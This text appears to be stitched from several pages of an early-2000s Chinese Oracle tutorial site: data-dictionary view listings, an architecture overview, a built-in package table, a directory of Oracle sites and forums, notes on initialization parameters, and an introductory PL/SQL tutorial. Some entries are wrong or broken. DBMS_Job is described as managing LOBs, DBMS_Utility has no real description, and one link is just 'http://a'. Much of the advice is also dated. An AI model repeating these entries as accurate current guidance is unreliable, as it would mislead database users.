    Oracle数据字典中，对象名称多数以"USER."，"ALL."，"DBA."为前缀"USER."视图中记录通常记录执行查询的帐户所拥有的对象的信息，"ALL."视图中记录包括"USER"记录和授权至PUBLIC或用户的对象的信息，"DBA."视图包含所有数据库对象，而不管其所有者。

    使用举例：

    select * from dba_data_files

    查询表空间的信息(当前用户必须拥有DBA角色)。

    select owner , object_name ,object_type from all_objects

    查询某一用户下的所有表、过程、函数等信息。

视图名 | 描述
ALL_CATALOG | All tables, views, synonyms, sequences accessible to the user
ALL_COL_COMMENTS | Comments on columns of accessible tables and views
ALL_COL_GRANTS_MADE | Grants on columns for which the user is owner or grantor
ALL_COL_GRANTS_RECD | Grants on columns for which the user or PUBLIC is the grantee
ALL_COL_PRIVS | Grants on columns for which the user is the grantor, grantee, owner, or an enabled role or PUBLIC is the grantee
ALL_COL_PRIVS_MADE | Grants on columns for which the user is owner or grantor
ALL_COL_PRIVS_RECD | Grants on columns for which the user, PUBLIC or enabled role is the grantee
ALL_CONSTRAINTS | Constraint definitions on accessible tables
ALL_CONS_COLUMNS | Information about accessible columns in constraint definitions
ALL_DB_LINKS | Database links accessible to the user
ALL_DEF_AUDIT_OPTS | Auditing options for newly created objects
ALL_DEPENDENCIES | Dependencies to and from objects accessible to the user
ALL_ERRORS | Current errors on stored objects that user is allowed to create
ALL_INDEXES | Descriptions of indexes on tables accessible to the user
ALL_IND_COLUMNS | COLUMNs comprising INDEXes on accessible TABLES
ALL_OBJECTS | Objects accessible to the user
ALL_REFRESH | All the refresh groups that the user can touch
ALL_REFRESH_CHILDREN | All the objects in refresh groups, where the user can touch the group
ALL_SEQUENCES | Description of SEQUENCEs accessible to the user
ALL_SNAPSHOTS | Snapshots the user can look at
ALL_SOURCE | Current source on stored objects that user is allowed to create
ALL_SYNONYMS | All synonyms accessible to the user
ALL_TABLES | Description of tables accessible to the user
ALL_TAB_COLUMNS | Columns of all tables, views and clusters
ALL_TAB_COMMENTS | Comments on tables and views accessible to the user
ALL_TAB_GRANTS_MADE | User's grants and grants on user's objects
ALL_TAB_GRANTS_RECD | Grants on objects for which the user or PUBLIC is the grantee
ALL_TAB_PRIVS | Grants on objects for which the user is the grantor, grantee, owner, or an enabled role or PUBLIC is the grantee
ALL_TAB_PRIVS_MADE | User's grants and grants on user's objects
ALL_TAB_PRIVS_RECD | Grants on objects for which the user, PUBLIC or enabled role is the grantee
ALL_TRIGGERS | Triggers accessible to the current user
ALL_TRIGGER_COLS | Column usage in user's triggers or in triggers on user's tables
ALL_USERS | Information about all users of the database
ALL_VIEWS | Text of views accessible to the user
USER_AUDIT_CONNECT | Audit trail entries for user logons/logoffs
USER_AUDIT_OBJECT | Audit trail records for statements concerning objects, specifically: table, cluster, view, index, sequence, [public] database link, [public] synonym, procedure, trigger, rollback segment, tablespace, role, user
USER_AUDIT_SESSION |
USER_AUDIT_STATEMENT | Audit trail records concerning grant, revoke, audit, noaudit and alter system
USER_AUDIT_TRAIL | Audit trail entries relevant to the user
USER_CATALOG | Tables, Views, Synonyms and Sequences owned by the user
USER_CLUSTERS | Descriptions of user's own clusters
USER_CLU_COLUMNS | Mapping of table columns to cluster columns
USER_COL_COMMENTS | Comments on columns of user's tables and views
USER_COL_GRANTS | Grants on columns for which the user is the owner, grantor or grantee
USER_COL_GRANTS_MADE | All grants on columns of objects owned by the user
USER_COL_GRANTS_RECD | Grants on columns for which the user is the grantee
USER_COL_PRIVS | Grants on columns for which the user is the owner, grantor or grantee
USER_COL_PRIVS_MADE | All grants on columns of objects owned by the user
USER_COL_PRIVS_RECD | Grants on columns for which the user is the grantee
USER_CONSTRAINTS | Constraint definitions on user's own tables
USER_CONS_COLUMNS | Information about accessible columns in constraint definitions
USER_CROSS_REFS | Cross references for user's views and synonyms
USER_DB_LINKS | Database links owned by the user
USER_DEPENDENCIES | Dependencies to and from a users objects
USER_ERRORS | Current errors on stored objects owned by the user
USER_EXTENTS | Extents comprising segments owned by the user
USER_FREE_SPACE | Free extents in tablespaces accessible to the user
USER_INDEXES | Description of the user's own indexes
USER_IND_COLUMNS | COLUMNs comprising user's INDEXes or on user's TABLES
USER_JOBS | All jobs owned by this user
USER_OBJECTS | Objects owned by the user
USER_OBJECT_SIZE | Sizes, in bytes, of various pl/sql objects
USER_OBJ_AUDIT_OPTS | Auditing options for user's own tables and views
USER_REFRESH | All the refresh groups
USER_REFRESH_CHILDREN | All the objects in refresh groups, where the user owns the refresh group
USER_RESOURCE_LIMITS | Display resource limit of the user
USER_ROLE_PRIVS | Roles granted to current user
USER_SEGMENTS | Storage allocated for all database segments
USER_SEQUENCES | Description of the user's own SEQUENCEs
USER_SNAPSHOTS | Snapshots the user can look at
USER_SNAPSHOT_LOGS | All snapshot logs owned by the user
USER_SOURCE | Source of stored objects accessible to the user
USER_SYNONYMS | The user's private synonyms
USER_SYS_PRIVS | System privileges granted to current user
USER_TABLES | Description of the user's own tables
USER_TABLESPACES | Description of accessible tablespaces
USER_TAB_AUDIT_OPTS | Auditing options for user's own tables and views
USER_TAB_COLUMNS | Columns of user's tables, views and clusters
USER_TAB_COMMENTS | Comments on the tables and views owned by the user
USER_TAB_GRANTS | Grants on objects for which the user is the owner, grantor or grantee
USER_TAB_GRANTS_MADE | All grants on objects owned by the user
USER_TAB_GRANTS_RECD | Grants on objects for which the user is the grantee
USER_TAB_PRIVS | Grants on objects for which the user is the owner, grantor or grantee
USER_TAB_PRIVS_MADE | All grants on objects owned by the user
USER_TAB_PRIVS_RECD | Grants on objects for which the user is the grantee
USER_TRIGGERS | Triggers owned by the user
USER_TRIGGER_COLS | Column usage in user's triggers
USER_TS_QUOTAS | Tablespace quotas for the user
USER_USERS | Information about the current user
USER_VIEWS | Text of views owned by the user
AUDIT_ACTIONS | Description table for audit trail action type codes. Maps action type numbers to action type names
COLUMN_PRIVILEGES | Grants on columns for which the user is the grantor, grantee, owner, or an enabled role or PUBLIC is the grantee
DICTIONARY | Description of data dictionary tables and views
DICT_COLUMNS | Description of columns in data dictionary tables and views
DUAL |
GLOBAL_NAME | global database name
INDEX_HISTOGRAM | statistics on keys with repeat count
INDEX_STATS | statistics on the b-tree
RESOURCE_COST | Cost for each resource
ROLE_ROLE_PRIVS | Roles which are granted to roles
ROLE_SYS_PRIVS | System privileges granted to roles
ROLE_TAB_PRIVS | Table privileges granted to roles
SESSION_PRIVS | Privileges which the user currently has set
SESSION_ROLES | Roles which the user currently has enabled.
TABLE_PRIVILEGES | Grants on objects for which the user is the grantor, grantee, owner, or an enabled role or PUBLIC is the grantee
ACCESSIBLE_COLUMNS | Synonym for ALL_TAB_COLUMNS
ALL_COL_GRANTS | Synonym for COLUMN_PRIVILEGES
ALL_JOBS | Synonym for USER_JOBS
ALL_TAB_GRANTS | Synonym for TABLE_PRIVILEGES
CAT | Synonym for USER_CATALOG
CLU | Synonym for USER_CLUSTERS
COLS | Synonym for USER_TAB_COLUMNS
DBA_AUDIT_CONNECT | Synonym for USER_AUDIT_CONNECT
DBA_AUDIT_RESOURCE | Synonym for USER_AUDIT_RESOURCE
DBA_REFRESH_CHILDREN | Synonym for USER_REFRESH_CHILDREN
DICT | Synonym for DICTIONARY
IND | Synonym for USER_INDEXES
OBJ | Synonym for USER_OBJECTS
SEQ | Synonym for USER_SEQUENCES
SM$VERSION | Synonym for SM_$VERSION
SYN | Synonym for USER_SYNONYMS
TABS | Synonym for USER_TABLES
V$ACCESS | Synonym for V_$ACCESS
V$ARCHIVE | Synonym for V_$ARCHIVE
V$BACKUP | Synonym for V_$BACKUP
V$BGPROCESS | Synonym for V_$BGPROCESS
V$CIRCUIT | Synonym for V_$CIRCUIT
V$COMPATIBILITY | Synonym for V_$COMPATIBILITY
V$COMPATSEG | Synonym for V_$COMPATSEG
V$CONTROLFILE | Synonym for V_$CONTROLFILE
V$DATABASE | Synonym for V_$DATABASE
V$DATAFILE | Synonym for V_$DATAFILE
V$DBFILE | Synonym for V_$DBFILE
V$DBLINK | Synonym for V_$DBLINK
V$DB_OBJECT_CACHE | Synonym for V_$DB_OBJECT_CACHE
V$DISPATCHER | Synonym for V_$DISPATCHER
V$ENABLEDPRIVS | Synonym for V_$ENABLEDPRIVS
V$FILESTAT | Synonym for V_$FILESTAT
V$FIXED_TABLE | Synonym for V_$FIXED_TABLE
V$LATCH | Synonym for V_$LATCH
V$LATCHHOLDER | Synonym for V_$LATCHHOLDER
V$LATCHNAME | Synonym for V_$LATCHNAME
V$LIBRARYCACHE | Synonym for V_$LIBRARYCACHE
V$LICENSE | Synonym for V_$LICENSE
V$LOADCSTAT | Synonym for V_$LOADCSTAT
V$LOADTSTAT | Synonym for V_$LOADTSTAT
V$LOCK | Synonym for V_$LOCK
V$LOG | Synonym for V_$LOG
V$LOGFILE | Synonym for V_$LOGFILE
V$LOGHIST | Synonym for V_$LOGHIST
V$LOG_HISTORY | Synonym for V_$LOG_HISTORY
V$MLS_PARAMETERS | Synonym for V_$MLS_PARAMETERS
V$MTS | Synonym for V_$MTS
V$NLS_PARAMETERS | Synonym for V_$NLS_PARAMETERS
V$NLS_VALID_VALUES | Synonym for V_$NLS_VALID_VALUES
V$OPEN_CURSOR | Synonym for V_$OPEN_CURSOR
V$OPTION | Synonym for V_$OPTION
V$PARAMETER | Synonym for V_$PARAMETER
V$PQ_SESSTAT | Synonym for V_$PQ_SESSTAT
V$PQ_SLAVE | Synonym for V_$PQ_SLAVE
V$PQ_SYSSTAT | Synonym for V_$PQ_SYSSTAT
V$PROCESS | Synonym for V_$PROCESS
V$QUEUE | Synonym for V_$QUEUE
V$RECOVERY_LOG | Synonym for V_$RECOVERY_LOG
V$RECOVER_FILE | Synonym for V_$RECOVER_FILE
V$REQDIST | Synonym for V_$REQDIST
V$RESOURCE | Synonym for V_$RESOURCE
V$ROLLNAME | Synonym for V_$ROLLNAME
V$ROLLSTAT | Synonym for V_$ROLLSTAT
V$ROWCACHE | Synonym for V_$ROWCACHE
V$SESSION | Synonym for V_$SESSION
V$SESSION_CURSOR_CACHE | Synonym for V_$SESSION_CURSOR_CACHE
V$SESSION_EVENT | Synonym for V_$SESSION_EVENT
V$SESSION_WAIT | Synonym for V_$SESSION_WAIT
V$SESSTAT | Synonym for V_$SESSTAT
V$SESS_IO | Synonym for V_$SESS_IO
V$SGA | Synonym for V_$SGA
V$SGASTAT | Synonym for V_$SGASTAT
V$SHARED_SERVER | Synonym for V_$SHARED_SERVER
V$SQLAREA | Synonym for V_$SQLAREA
V$STATNAME | Synonym for V_$STATNAME
V$SYSSTAT | Synonym for V_$SYSSTAT
V$SYSTEM_CURSOR_CACHE | Synonym for V_$SYSTEM_CURSOR_CACHE
V$SYSTEM_EVENT | Synonym for V_$SYSTEM_EVENT
V$THREAD | Synonym for V_$THREAD
V$TIMER | Synonym for V_$TIMER
V$TRANSACTION | Synonym for V_$TRANSACTION
V$TYPE_SIZE | Synonym for V_$TYPE_SIZE
V$VERSION | Synonym for V_$VERSION
V$WAITSTAT | Synonym for V_$WAITSTAT
V$_LOCK | Synonym for V_$_LOCK


Oracle技术网—ORACLE数据库简介

ORACLE数据库简介

一、概论

    ORACLE 是以高级结构化查询语言(SQL)为基础的大型关系数据库，通俗地
讲它是用方便逻辑管理的语言操纵大量有规律数据的集合。是目前最流行的客
户/服务器(CLIENT/SERVER)体系结构的数据库之一。

二、特点

1、ORACLE7.X以来引入了共享SQL和多线索服务器体系结构。这减少了ORACLE
的资源占用，并增强了ORACLE的能力，使之在低档软硬件平台上用较少的资源
就可以支持更多的用户，而在高档平台上可以支持成百上千个用户。

2、提供了基于角色(ROLE)分工的安全保密管理。在数据库管理功能、完整性
检查、安全性、一致性方面都有良好的表现。

3、支持大量多媒体数据，如二进制图形、声音、动画以及多维数据结构等。

4、提供了与第三代高级语言的接口软件PRO*系列，能在C,C++等主语言中嵌入
SQL语句及过程化(PL/SQL)语句，对数据库中的数据进行操纵。加上它有许多优
秀的前台开发工具如 POWER BUILD、SQL*FORMS、VISIA BASIC 等，可以快速开
发生成基于客户端PC 平台的应用程序，并具有良好的移植性。

5、提供了新的分布式数据库能力。可通过网络较方便地读写远端数据库里的数
据，并有对称复制的技术。

三、存储结构

1、物理结构

ORACLE数据库在物理上是存储于硬盘的各种文件。它是活动的，可扩充的，随着
数据的添加和应用程序的增大而变化。

下图为ORACLE数据库扩充前后在硬盘上存储结构的示意图：

orap.gif (1672 bytes)

2、逻辑结构

    ORACLE数据库在逻辑上是由许多表空间构成。主要分为系统表空间和非系统
表空间。非系统表空间内存储着各项应用的数据、索引、程序等相关信息。我们
准备上马一个较大的ORACLE应用系统时，应该创建它所独占的表空间，同时定义
物理文件的存放路径和所占硬盘的大小。

下图为ORACLE数据库逻辑结构与物理结构的对照关系：

oral.gif (1954 bytes)

四、分布式数据库管理介绍

1、原理

物理上存放于网络的多个ORACLE数据库，逻辑上可以看成一个单个的大数据库。
用户可以通过网络对异地数据库中的数据同时进行存取，而服务器之间的协同处
理对于工作站用户及应用程序而言是完全透明的：开发人员无需关心网络的连接
细节、无需关心数据在网络接点中的具体分布情况、也无需关心服务器之间的协
调工作过程。

下图为ORACLE分布式数据库原理示意图：

orapar.gif (5397 bytes)

2、过程

由网络相连的两个ORACLE数据库之间通过数据库链接(DB-LINKS)建立访问机制，
相当于一方以另一方的某用户远程登录所做的操作。但ORACLE采用的一些高级管理
方法，如同义词(SYNONME)等使我们觉察不到这个过程，似乎远端的数据就在本地。
数据库复制技术包括：实时复制、定时复制、储存转发复制。对复制的力度而言，
有整个数据库表的复制，表中部分行的复制。在复制的过程中，有自动冲突检测和
解决的手段。


Oracle技术网—Oracle特殊包

位置：首页→Oracle特殊包

  ORACLE新闻
  ORACLE初学者入门
  SQL技巧
  ORACLE图书
  ORACLE应用开发
  ORACLE软件下载
  ORACLE产品介绍
  ORACLE产品报价
  ORACLE工作
  认证、培训
  ORACLE系统移植
  网上ORACLE文章
  ORACLE 2000年问题
  ORACLE常见错误代码
  ORACLE常用数据字典
  ORACLE常用名词解释
  ORACLE常用Script
  ORACLE特殊包
  ORACLE相关站点
  相关技术站点
  相关技术资料
  相关开发工具
  免费资源TOP10
  精彩小游戏
  网友作品交流

    本站共有ORACLE数据库相关文章1000篇。
    本站有部分文章是取材于网上，如有侵犯您的版权，请即来信，我会尽快删除。
欢迎交流探讨

    建议使用 IE 或 NETSCAPE 4.0以上版本进行浏览。
最佳显示:800*600

↑返回顶部
前言
Oracle提供了几个包，它们可以用来完成很多任务，从内部进程通信到文件I/O，到在PL/SQL块中动态创建和执行SQL语句。所有这些包由SYS用户所拥有—当Oracle最初安装时两个用户中的一个，这些包中最重要的包括：
DBMS_Alert | 不用轮询就允许应用命名并发出警告条件信号的过程与函数
DBMS_DDL | 允许获取PL/SQL程序内部一定数量的DDL语句的过程
DBMS_Describe | 为存储过程与函数描述API的过程
DBMS_Job | 管理BLOBs、CLOBs、NCLOBs与BFILEs的过程与函数
DBMS_Output | 允许PL/SQL程序生成终端输出的过程与函数
DBMS_Pipe | 允许数据库会话使用管道通信(通信频道)的过程与函数
DBMS_SQL | 在PL/SQL程序内部执行动态SQL的过程与函数
DBMS_Utility | DBMS_Utility
UTL_File | 允许PL/SQL程序读写服务器文件系统上的文本文件的过程与函数

  • DBMS_Job包的用法 [摘录、改编] [image] [2001.01.07]


Oracle技术网—Oracle相关站点

位置：首页→Oracle相关站点

国内ORACLE相关站点
名称 | 地址 | 介绍
Oracle中国公司 | http://www.oracle.com/cn | 提供最新的产品及服务介绍。
中国Oracle用户组 | http://www.cnoug.org/ |
ORACLE爱好者之家 | http://www.oraclefan.net/ | Jonson Huo
免费ORACLE入门 | http://fengyu.china.com/ | 余枫
Oracle杂货店 | http://www.hzsdb.com.cn/oracle/index.htm |
ORACLE深度历险 | http://oracle9idba.nease.net/index1.htm |
彩虹湾 | http://www.irisbay.com/ | 提供oracle的相关知识，同时也提供dba、OCP证书等的论坛。
Oracle小组 | http://oraclegroup.yeah.net/ | smiling电子小组―Oracle小组
oracle技术站 | http://oradb.jianwangzhan.com/cgi-bin/index.dll?index13?webid=jianwangzhan&userid=49339 |
Oracle9iAS Documentation Library, Release 2 (9.0.3) | http://download-west.oracle.com/docs/cd/A97688_06/index.htm |
Oracle9i Database Concepts | http://otn.oracle.com/docs/products/oracle9i/doc_library/release2/server.920/a96524/toc.htm |
ORACLE讨论区
名称 | 地址 | 介绍
ITPUB论坛 | http://www.itpub.net/ |
CSDN数据库开发 Oracle | http://expert.csdn.net/expert/forum.asp?url=/Expert/ForumList.asp?roomid=1801&typenum=1&xmlsrc=&whichpage=1 |
ChinaUnix.net的Oracle论坛 | http://chinaunix.net/forum/viewforum.php?f=19 |
Oracle Developer 6i 开发者论坛 | http://61.144.28.248:8080/d6i/bbs_armok01/bbs_list.jsp |
网易Oracle论坛（北京） | http://fe5.bj.163.com/cgi/docidx?guest=1&b=Oracle | 最新论坛
中国LINUX论坛—Oracle for linux 专版 | http://www.linuxforum.net/forum/postlist.php?Cat=&Board=oracle | 中国LINUX论坛—Oracle for linux 专版
广东早安Oracle论坛 | http://www.strongsun.gzidc.com/ |
LinuxAid 技术支持论坛—数据库应用 | http://www.linuxaid.com.cn/forum/boardlist.jsp?m=0&i=20 | LinuxAid 技术支持论坛—数据库应用
中国LINUX论坛—数据库 | http://www.linuxforum.net/forum/postlist.php?Cat=&Board=db | 中国LINUX论坛—数据库
企业管理论坛—Oracle | http://www.9053.net/formu/flist.asp?cat_ID=21 |
ORACLE 系统专用论坛-中国ERP专家论坛 | http://www.erper.com/bbs/forum.asp?Forum_ID=3 |
腾讯社区：数据库 | http://bbs.tencent.com/cgi-bin/bbs/bbs_show_title?groupid=102:10055&tbegnum=0&club=3&st=0&sc=&sort=0&8884 | 腾讯社区：数据库
甲骨文 —oracle.ok100.net | http://oracle.ok100.net/showBBS.php?BBS_id=oracle | ... ...
编程艺苑→数据库 | http://www3.ccw.com.cn/club/bbs/list.asp?boardid=10&v=bbs | ... ...
西陆家园Oracle讨论区 | http://oracleocp.xilubbs.com/ |
LodeSoft 软件自由论坛 | http://softart.lodesoft.com/form/thread.php3?bid=9961273 | ... ...
圣伟思Oracle技术支持论坛 | http://www.whservice.com/whservice/bbs/index.asp |
smiling电子小组—Oracle | http://www.smiling.com.cn/group/posts/index_bbs.ecgi?group_id=11046 | smiling电子小组—Oracle
google搜索结果 | http://www.google.com/search?hl=zh-CN&inlang=zh-CN&ie=GB2312&q=oracle&btnG=Google%CB%D1%CB%F7&lr=lang_zh-CN | ... ...
coolunix搜索结果 | http://www.coolunix.com/search.cgi?keyword=oracle | ... ...
Oracle爱好者之家论坛 | http://www.oraclefan.net/ubbs547/Ultimate.cgi?action=intro&BypassCookie=true | Oracle爱好者之家论坛
中国Oracle用户老论坛 | http://www.soufun.com/include/visiter/bbs/listpost.asp | ... ...
Oracle 資料庫問題討論區 (Oracle) | http://bbs.kimo.com.tw/cgi-bin/ListFrame.cgi?board=Oracle | 在台湾，奇摩
資料庫疑難雜症來這裡 (database) | http://bbs.kimo.com.tw/cgi-bin/ListFrame.cgi?board=database | 在台湾，奇摩
Oracle SQL & Developer 2000 討論區 | http://cgi.pchome.com.tw/cgi-bin/myforum/myforum?id=012000030312463768662 | 在台湾，PC Home Online网路家庭
Oracle資料庫討論區 | http://cgi.pchome.com.tw/cgi-bin/myforum/myforum?id=011999121000100616617 | 在台湾，PC Home Online网路家庭
Oracle資料庫討論區 | http://cgi.todo.com.tw/cgi-bin/myforum/myforum?id=011999121000100616617 | 在台湾
港台站点
名称 | 地址 | 介绍
Oracle台湾公司 | http://www.oracle.com.tw/ | 在台湾
Oracle DB技術論壇 | http://www.oracledb.com.tw/ | 在台湾
Oracle精诚*甲骨文中文站 | http://oracle.sysware.com.tw/ | 在台湾
外国ORACLE站点
名称 | 地址 | 介绍
Oracle官方站点 | http://www.oracle.com/ | Oracle的大本营
otn.oracle.com | http://otn.oracle.com/ |
metalink.oracle.com | http://metalink.oracle.com/ |
Ask Tom Home | http://asktom.oracle.com/ | asktom
Oracle Documentation | http://www.oradoc.com/index.html | Oracle Documentation
orafaq | http://www.orafaq.org/faq2.htm | 非常不错的Oracle论坛，分类很细。
Oracle FAQ | http://www.bf.rmit.edu.au/~orafaq | Oracle数据库常见问题解答。
Oracle Faq, Scripts, Articles and Resources DBAsupport.com | http://www.dbasupport.com/ | 介绍
delante Ltd - Oracle (Database Administration) DBA 's a speciality | http://www.think-forward.com/ |
OCP online test | http://networkessentials.com/certified/ocp/index.htm | OCP online test
ixora | http://www.ixora.com.au/ | advanced performance tuning
The Pipelines -- Information portal for Oracle, DB2, SQL Server. | http://www.revealnet.com/ |
Osborne | http://www.osborne.com/ | Find all the right computer books and learning tools at Osborne McGraw-Hill
DBA-village | http://www.dba-village.com/ | DBA-village
OraPerf.com | http://www.oraperf.com/ |
JL Computer Consultancy | http://www.jlcomp.demon.co.uk/ | An expert view on the Oracle (tm) database engine
Oracle Server on Linux Installation | http://jordan.fortwayne.com/oracle/ | 介绍
orafans | http://www.orafans.com/ | 介绍
Oracle Magazine | http://www.oramag.com/ | 一份关于Oracle的月刊。在它的站点上你可以看到一些有深度的文章，也可以看到一些技巧和代码。
Oracle Professional Home | http://www.oracleprofessionalnewsletter.com/ | 介绍
oracle-home | http://www.oracle-home.com/ | The home of Oracle Database information. Books, reviews, Free Oracle Software Downloads and resources on Oracle Database development
oreview | http://www.oreview.com/ | 介绍
Oracle Technology Professionals | http://www.oranet.com/ | Oracle Technology Professionals
oraworld | http://www.oraworld.com/ | 介绍
oracle-users | http://www.oracle-users.com/ | 介绍
oracleguru | http://www.oracleguru.com/ | 介绍
Oraclenotes.com | http://www.oraclenotes.com/ | A community for the aspiring Oracle Certified Professional。
Cinema SQL | http://users.neca.com/ltruett/sql.html | SQL Reference and Example Site * featuring * Cinema SQL。
ORACLE软件下载站点
名称 | 地址 | 介绍
Oracle公司 | http://technet.oracle.com/ | 介绍
wormwang 新丝(思)路 | http://freesoft.online.sh.cn/ | 这有很多自由软件
西安交通大学思源FTP服务器 | ftp://ftp.xjtu.edu.cn/soft/DataBase/ | 介绍
ftp://oracle-ftp.oracle.com/ | ftp://oracle-ftp.oracle.com/ | 介绍
ftp://166.111.168.13/ | ftp://166.111.168.13/ | 介绍
ORACLE第三方工具站点
名称 | 地址 | 介绍
Self Test Software | http://www.selftestsoftware.com/ | 介绍
Quest Sodtware | http://www.quest.com/ | 介绍
www.cramsession.com | http://www.cramsession.com/ | 介绍
其他
名称 | 地址 | 介绍
广东早安计算机系统有限公司 | http://www.strongsun.com/ | ORACLE 华南区总代理
晓通数据库 | http://www.xiaotong-db.com.cn/ | 晓通数据库的工作重点主要放在数据库技术、面向对象的开发技术、以及应用系统的设计技术的研究和应用上。
北京华创 | http://www.huachuang.com.cn/index.html | 介绍
华迪计算机有限公司 | http://www.huadi.com.cn/ | 信息化应用的系统集成商和服务商，ORACLE的双全牌代理。
佳都国际Oracle认证培训 | http://www.pci.com.cn/pci-oracle.htm | 介绍
超越认证资讯中心 | http://www.transcendinfo.com/ | 介绍
宏贝思 | http://www.macro-base.com/ | 介绍
常通多维 | http://www.ctdw.com.cn/ | 介绍
北京宇思联成软件技术公司 | http://www.youthsoft.com.cn/ | 介绍
计算机世界网 | http://www.ccw.com.cn/ | 包含：《计算机世界》、《网络世界》、《微电脑世界》、《IT经理世界》、《家用电脑世界》、《聚焦华东》
数据备份专家 | http://icesoft.yeah.net/ |
齐物轩*OCP认证资料网 | http://ocp21.myrice.com/ |
大专院校BBS
名称 | BBS地址 | 数据库讨论版地址
北京大学未名站 | http://bbs.pku.edu.cn/ | http://bbs.pku.edu.cn/cgi-bin/bbstop?board=Database
清华水木清华 | http://a | http://a
复旦大学日月光华站 | http://bbs.fudan.edu.cn/ | http://bbs.fudan.edu.cn/cgi-bin/bbs/bbsdoc?board=Database
电子科技大学一网情深 | http://bbs.uestc.edu.cn/ | http://bbs.uestc.edu.cn/cgi-bin//bbsdoc?board=Database
上海交通大学饮水思源站 | http://bbs.sjtu.edu.cn/ | http://bbs.sjtu.edu.cn/cgi-bin/bbsdoc?board=database
西安交通大学冰马佣站 | http://bbs.xanet.edu.cn/ | http://bbs.xanet.edu.cn/bbsdoc?board=database
哈工大紫丁香 | http://bbs.hit.edu.cn/ | http://bbs.hit.edu.cn/cgi-bin/bbs/bbsdoc?Database
华南理工大学木棉站 | http://bbs.cnkapok.com/ | http://bbs.cnkapok.com/cgi-bin/bbsdoc?NOracle
浙江大学西子浣纱城 | http://bbs.zju.edu.cn/ | http://bbs.zju.edu.cn/cgi-bin/bbsdoc?board=DataBase


Oracle技术网—哪些初始化参数最影响Oracle系统性能

位置：首页→DBA→

阿木伯 著
哪些初始化参数最影响Oracle系统性能

  • 什么是SGA（系统全局区）
      1、系统全局区（SGA）是一个分配给Oracle 的包含一个 Oracle 实例的数据库的控制信息内存段。
         主要包括数据库高速缓存(the database buffer cache)，
         重演日志缓存（the redo log buffer），
         共享池（the shared pool），
         数据字典缓存（the data dictionary cache）以及其它各方面的信息。
  • db_block_buffers
      1、数据高速缓冲区
      2、访问过的数据都放在这一片内存区域，该参数越大，Oracle在内存中找到相同数据的可能性就越大，也即加快了查询速度。
      3、db_block_buffers以块为单位，假如DB_BLOCK_SIZE=2K，db_block_buffers=3200，则占用内存=3200*2K=6400K。
  • share_pool_size
      1、SQL共享缓冲池
      2、该参数是库高速缓存和数据字典的高速缓存。
  • Log_buffer
      1、重演日志缓冲区
  • sort_area_size
      1、排序区
  • processes
      1、同时连接的进程数
  • global_names
      1、如果“数据库链路名”和它所要连接的“数据库”拥有相同的名字，则设置global_names = TRUE，
         否则，设置global_names = FALSE
  • db_block_size
      1、数据库块大小
      2、Oracle默认块为2KB，太小了，因为如果我们有一个8KB的数据，则2KB块的数据库要读4次盘，才能读完，
         而8KB块的数据库只要1次就读完了，大大减少了I/O操作。
      3、数据库安装完成后，就不能再改变db_block_size的值了，只能重新建立数据库
         并且建库时，要选择手工安装数据库。
  • open_links
      1、同时打开的链接数
  • dml_locks
      1、用户一次可对表设定锁的最大数目
      2、如果有三个用户修改６个表，则需１８个DML锁来实现并行操作，如果设定DML_LOCKS不够大，操作时执行将中断，你可以通过你的应用程序的操作规模和最大的并行使用的用户数来估算系统所需要的DML_LOCKS的值，但该值的大小对数据库的其他性能没有影响，所以一般都把它设得很大，远超过实际中可能达到的值，如果在系统运行中经常发生表锁死的现象，就应该考虑加大该值。
  • open_cursors
      1、打开光标数
      2、这个参数可以同时被每个用户进程拥有，这个参数的最大值依操作系统不同而不同。
      3、在创建一个包含很多表的合成视图时，如果此参数很小，则视图创建会不成功。
  • dbwr_io_slaves
      1、后台写进程数


PL/SQL

PL/SQL入门教程

1.1 PL/SQL简介
1.2 创建PL/SQL程序块
1.3 PL/SQL数据类型
1.4 处理PL/SQL的异常
 1.4.1 PL/SQL的异常
1.4.2 自定义异常处理
1.4.3 自定义异常
1.5 在PL/SQL中单条记录的查询
1.6 用光标查询多条记录
1.6.1 使用光标的基本方法
1.6.2 使用光标FOR循环
1.6.3 带参数的光标
1.7 创建代表数据库记录和列的变量
1.8 怎样用PL/SQL表实现数组功能

1.1 PL/SQL简介

PL/SQL是ORACLE的过程化语言，包括一整套的数据类型、条件结构、循环结构和异常处理结构，PL/SQL可以执行SQL语句，SQL语句中也可以使用PL/SQL函数。

1.2 创建PL/SQL程序块

DECLARE
…
BEGIN
…
EXCEPTION
END;
1.3 PL/SQL数据类型

名称 | 类型 | 说明
NUMBER | 数字型 | 能存放整数值和实数值，并且可以定义精度和取值范围
BINARY_INTEGER | 数字型 | 可存储带符号整数，为整数计算优化性能
DEC | 数字型 | NUMBER的子类型，小数
DOUBLE PRECISION | 数字型 | NUMBER的子类型，高精度实数
INTEGER | 数字型 | NUMBER的子类型，整数
INT | 数字型 | NUMBER的子类型，整数
NUMERIC | 数字型 | NUMBER的子类型，与NUMBER等价
REAL | 数字型 | NUMBER的子类型，与NUMBER等价
SMALLINT | 数字型 | NUMBER的子类型，取值范围比INTEGER小
VARCHAR2 | 字符型 | 存放可变长字符串，有最大长度
CHAR | 字符型 | 定长字符串
LONG | 字符型 | 变长字符串，最大长度可达32,767
DATE | 日期型 | 以数据库相同的格式存放日期值
BOOLEAN | 布尔型 | TRUE OR FALSE
ROWID | ROWID | 存放数据库的行号

例子：
DECLARE
ORDER_NO NUMBER(3);
CUST_NAME VARCHAR2(20);
ORDER_DATE DATE;
EMP_NO INTEGER:=25;
PI CONSTANT NUMBER:=3.1416;
BEGIN
NULL;
END;
1.4 处理PL/SQL的异常

1.4.1 PL/SQL的异常

例如：
DECLARE
X NUMBER;
BEGIN
X:= 'yyyy';--Error Here
EXCEPTION WHEN VALUE_ERROR THEN
DBMS_OUTPUT.PUT_LINE('EXCEPTION HANDED');
END;

实现技术：
EXCEPTION WHEN first_exception THEN
…
WHEN second_exception THEN
…
WHEN OTHERS THEN
/*THERS异常处理器必须排在最后，它处理所有没有明确列出的异常。*/
…
END;

1.4.2 预定义异常

异常名称 | ORACLE错误 | 说明
CURSOR_ALREADY_OPEN | ORA-6511 | 试图打开一个已打开的光标
DUP_VAL_ON_INDEX | ORA-0001 | 试图破坏一个唯一性限制
INVALID_CURSOR | ORA-1001 | 试图使用一个无效的光标
INVALID_NUMBER | ORA-1722 | 试图对非数字值进行数字操作
LOGIN_DENIED | ORA-1017 | 无效的用户名或者口令
NO_DATA_FOUND | ORA-1403 | 查询未找到数据
NOT_LOGGED_ON | ORA-1012 | 还未连接就试图数据库操作
PROGRAM_ERROR | ORA-6501 | 内部错误
ROWTYPE_MISMATCH | ORA-6504 | 主变量和光标的类型不兼容
STORAGE_ERROR | ORA-6500 | 内部错误
